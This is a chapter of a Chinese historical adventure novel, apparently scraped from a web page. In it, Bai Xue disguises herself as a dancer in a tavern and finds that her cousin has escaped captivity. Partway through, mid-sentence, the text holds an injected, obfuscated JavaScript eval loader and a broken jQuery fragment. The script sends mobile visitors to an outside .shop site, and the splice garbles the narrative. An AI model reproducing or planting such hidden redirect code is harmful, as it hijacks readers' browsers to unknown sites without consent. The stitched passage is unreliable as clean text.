白雪睁开了眼睛,她想起刚才路过南街的时候看见过一座两层的小楼,楼门口挂着彩绸做的帘子,帘子后面有琵琶声和笑声透出来,几个胡姬打扮的女子靠着栏杆往下看街上的行人,脸上涂着厚厚的脂粉,眼窝画得又深又浓。那是赤崖堡里唯一一处图拉·乌勒的人不怎么去的地方——胡姬酒楼招待的是四方客商,鱼龙混杂,乌勒的手下多是他本族汉子,跟胡姬讲不上同一种话,也摸不透她们的规矩,平日里只在外围转一圈就走了。
白雪把身上的破麻布短打脱了下来,叠好塞进墙缝里,又从包袱里翻出一块干净的布巾擦掉了脸上的沙土。她对着破庙角落里一口积了雨水的大缸照了一下——脸上干干净净的,显出原本的轮廓来。她想了想,从靴筒里抽出那把短刀,用刀尖把额前的碎发削掉了一截,又用沾了灰的手指在眼角和颧骨上轻轻抹了几道阴影,把自己的面相往胡人的方向偏了偏,然后起身往南街走去,她要易容化妆成胡姬。
南街的胡姬酒楼已经上了灯。二楼的窗口透出橘红色的光,丝弦声和鼓声从里头流出来,在夜风里被扯成一段一段的,断断续续的。白雪绕到酒楼背面,后巷里堆着几个空酒坛和一堆劈好的柴火,二楼靠后的窗子半开着,窗台上搁着一双绣了金线的胡式软靴。她顺着墙角的排水管攀了上去,脚踩在砖缝里,三两下就翻进了那扇窗口。
房间里没有人。一间不算大的厢房,铺着厚毡毯,矮桌上搁着半壶葡萄酒和几个铜盘,盘里还剩几块干果。墙角的衣架上挂着几件彩绸长裙和绣花的短褂,头饰和项链散在妆台上,浓烈的玫瑰香气从那些织物里散出来,熏得整个屋子暖融融的。白雪走到妆台前站定,看了一眼铜镜里自己的脸——镜面磨得不够平整,映出来的人影像隔着一层水波。
她伸手拿起妆台上那盒胡姬用的白粉,用指尖蘸了一点抹在手背上,粉质细腻,带着一股子西域特有的香料味。她把白粉薄薄地敷了一层在脸上,把原本晒得微黑的肤色盖住了大半,又用炭笔沿着眼眶描了一圈,把眼尾往上挑出一道长长的弧线,原本沉静的、带着书卷气的眉眼立刻变得热烈而陌生起来。
她脱下自己的旧袄,换上一条深红底子绣了金线的长裙,腰间扎了一条缀满银片的宽腰带,把短刀藏进裙褶里,又用一块深紫色的纱巾裹住头发,只在额前露出一缕被削短了的碎发。做完这一切之后她再看向铜镜——镜子里的人已经完全认不出是白雪镇那个抱着《周易》坐在门槛上慢慢翻书的姑娘了。镜子里的是一个年轻的胡姬,眉眼深邃,肤色雪白,唇上沾了一点胭脂的红,靠着窗台歪着头往外看的时候,活脱脱就是个从小在西域街巷里长大的舞女。
她推开房门走出去的时候,楼下大堂里已经热闹了起来。几个真正的胡姬正围着一张长桌调弦试音,看见她从楼梯上走下来,其中一个年纪稍大的、裹着鹅黄披肩的女人抬头打量了她一眼,用半生不熟的中原话问了一句“新来的?”
白雪学着她们的语调,压低了嗓音含混地应了一声“嗯”。
那女人没再追问,只冲她指了指大堂中间那片空地:“一会儿跳一段,今天的客多,缺人手。”
白雪走到那片空地上站定,后背对着门口的方向,侧脸的线条在烛光里被映得柔润光滑。她没学过胡舞,可她见过镇上的胡商在节庆时跳的那种步子——脚掌踩地、腰肢扭转、手臂像蛇一样往外翻开。她凭着记忆跟着鼓声的节拍慢慢动起来,动作生涩却姿态大方,带着一股子天生的不怯场。大堂里的几个客商抬头看了她一眼,喝了声彩,又低头继续喝酒。
她的目光穿过那些酒桌和攒动的人头,扫向门口。酒楼的大门敞着,街上的风吹进来,吹得帘子不停地摆动。门外的巷子里偶尔有人经过,都只是匆匆一眼,没有任何人在门口停留。图拉·乌勒的人今晚全在城东搜捕,这条街上空空荡荡的,那些巡查的岗哨都不见了。
白雪跳完一段舞之后,佯装去后院透气,从酒楼的侧门溜了出去,拐进了通往乌勒宅院的那条巷子。她穿着那条彩绸长裙走在土城的街巷里,裙摆在夜风中飘拂,脸上敷着白粉描着长眉,路过两个蹲在墙根底下的打手身边时那两人抬头看了她一眼,目光在她脸上多停了一息——然后一个偏过头去磕了磕烟袋,另一个懒洋洋地打了个哈欠。她胡姬的装扮太彻底了,一个汉人面孔的女子不可能打扮成这样、走在大街上还这么坦然。那些打手根本就没往告示上那张干净白皙的、带着书卷气的脸上想。
她顺着巷子摸到了乌勒宅院的后墙。宅院不大,土墙约莫两人多高,墙角长着一丛枯了半截的荆棘。她贴着墙根走了几步,听见墙内有狗叫,叫了两声就停了。她攀上墙头往里看——院子里堆着几辆破车和一堆干草,两间低矮的土房挨着北墙,一间堆杂物,另一间门板上挂着一把锈迹斑斑的铁锁。铁锁是打开的,搭扣垂在半空中,锁链在夜风里轻轻晃荡。
柴房的门半掩着。白雪翻下墙头,轻手轻脚地走到那扇门前面,伸手推开了门板。
里面没有人。地上铺着一层干草,草窝里有一块被压塌过的痕迹,痕迹的形状大约是一个人蜷着身子躺了很久留下的。墙角还扔着半条破毯子和一只缺了口的粗陶碗,碗沿上留着干涸的水渍。白雪蹲下来伸手摸了摸那团草窝——草是凉的,但凉的只是表面,拨开上面几层之后,底下的草梗还带着一丝若有若无的余温,像是走开没有太久。她又看了看地上的脚印:几个凌乱的、明显是被拖拽过的痕迹一路延伸到门口,可到了门槛外面,脚印忽然就整齐了起来,一左一右地往院墙的方向去了,步子不大不小、间距均匀,是一个清醒的人自己走出去的模样。
白雪直起身来,看着那串消失在墙角的脚印,慢慢吐出一口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703174|208253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气。
白霜逃了。也许她根本没有失忆,也许她从头到尾都是在装傻、在等一个合适的时机;也许她确实摔坏了脑袋,但在这座柴房里被关着关着,某一天忽然把什么都想起来了。无论哪一种,地上那串稳稳的、不慌不忙的脚印告诉她一件事——白霜是自己走出去的,清醒的、明白自己要往哪里去的、在这座陌生的土城里找到了方向的人。
白雪站在空荡荡的柴房里,忽然觉得鼻尖泛上一阵酸意。她用力眨了一下眼睛,把那股酸意压了回去,重新站直了身子。她不知道白霜去了哪里,不知道她走了多久,不知道她现在安不安全——可她至少知道了这件事:白霜没有死,白霜从这座牢笼里挣脱了出去,现在是活的,自由的,正在这座城的某个角落呼吸着同一片夜风。只要这个知道就够了,剩下的事可以慢慢来。
她退出了柴房,把门板虚掩回原来的角度,沿着来路翻墙出了宅院,重新走进南街的灯火里。酒楼里的鼓声和琵琶声还在响,那些胡姬还在大堂里转着圈跳舞,彩绸的裙摆一层一层地铺开又收拢,像一朵朵在烛光里忽开忽合的花。白雪穿过那些笑闹的客商和穿梭送酒的跑堂,回到二楼的厢房里,把门关上,靠在门板上慢慢滑坐下来。
她低头看着自己身上那条深红的彩裙,裙摆上沾了一些墙灰和干草碎屑,银片在烛光里闪烁着零碎的光点。她伸手解开了包头的紫纱巾,让头发散落下来,对着那面不太平整的铜镜看了很久。镜子里那个浓妆艳抹的胡姬面孔也正看着她,眼睛里头有一种说不清的东西——像高兴,像担心,又像是一片大雪慢慢化开之后,露出底下第一丛草芽的颜色。
她不知道白霜去了哪里,也不知道自己什么时候能再见到堂姐。可她现在知道了另一件事:白霜活着,白霜的脑子没坏,白霜跑得比她想象中更快更果断。她信白霜,就像她信自己一样。
窗外传来更夫的梆子声,一慢三快。南街尽头,一队火把又亮了起来,图拉·乌勒的人还在满城搜捕,不知道搜的是什么人。白雪把纱巾重新裹好,整了整裙摆,推开房门走了出去。楼下的鼓声正好换了一个曲调,大堂里有人在起哄让她再跳一支舞。她扶着楼梯的扶手,踩着鼓点一级一级走下去,嘴角带着一个很浅很浅的弧度。
她决定留在这座酒楼里,以胡姬的身份继续待下去。图拉·乌勒一定还在盯着城门的每一个出口,白霜如果还没出城,她需要有人在城内接应;白霜如果已经出了城,她也要确认她真的出了城、往哪个方向走了才能安心离开。把姐妹两个人的命只押在一个“可能”上,不是她的做法。既然白霜能从柴房里翻出去,那她也一定能把白霜找回来,完完整整地带回白雪镇。
她走进大堂的灯光里,彩绸的裙摆在身后拖出一道深深的红影。鼓声又急了起来,她抬起头,裙摆一卷,跟着那个节拍转了出去。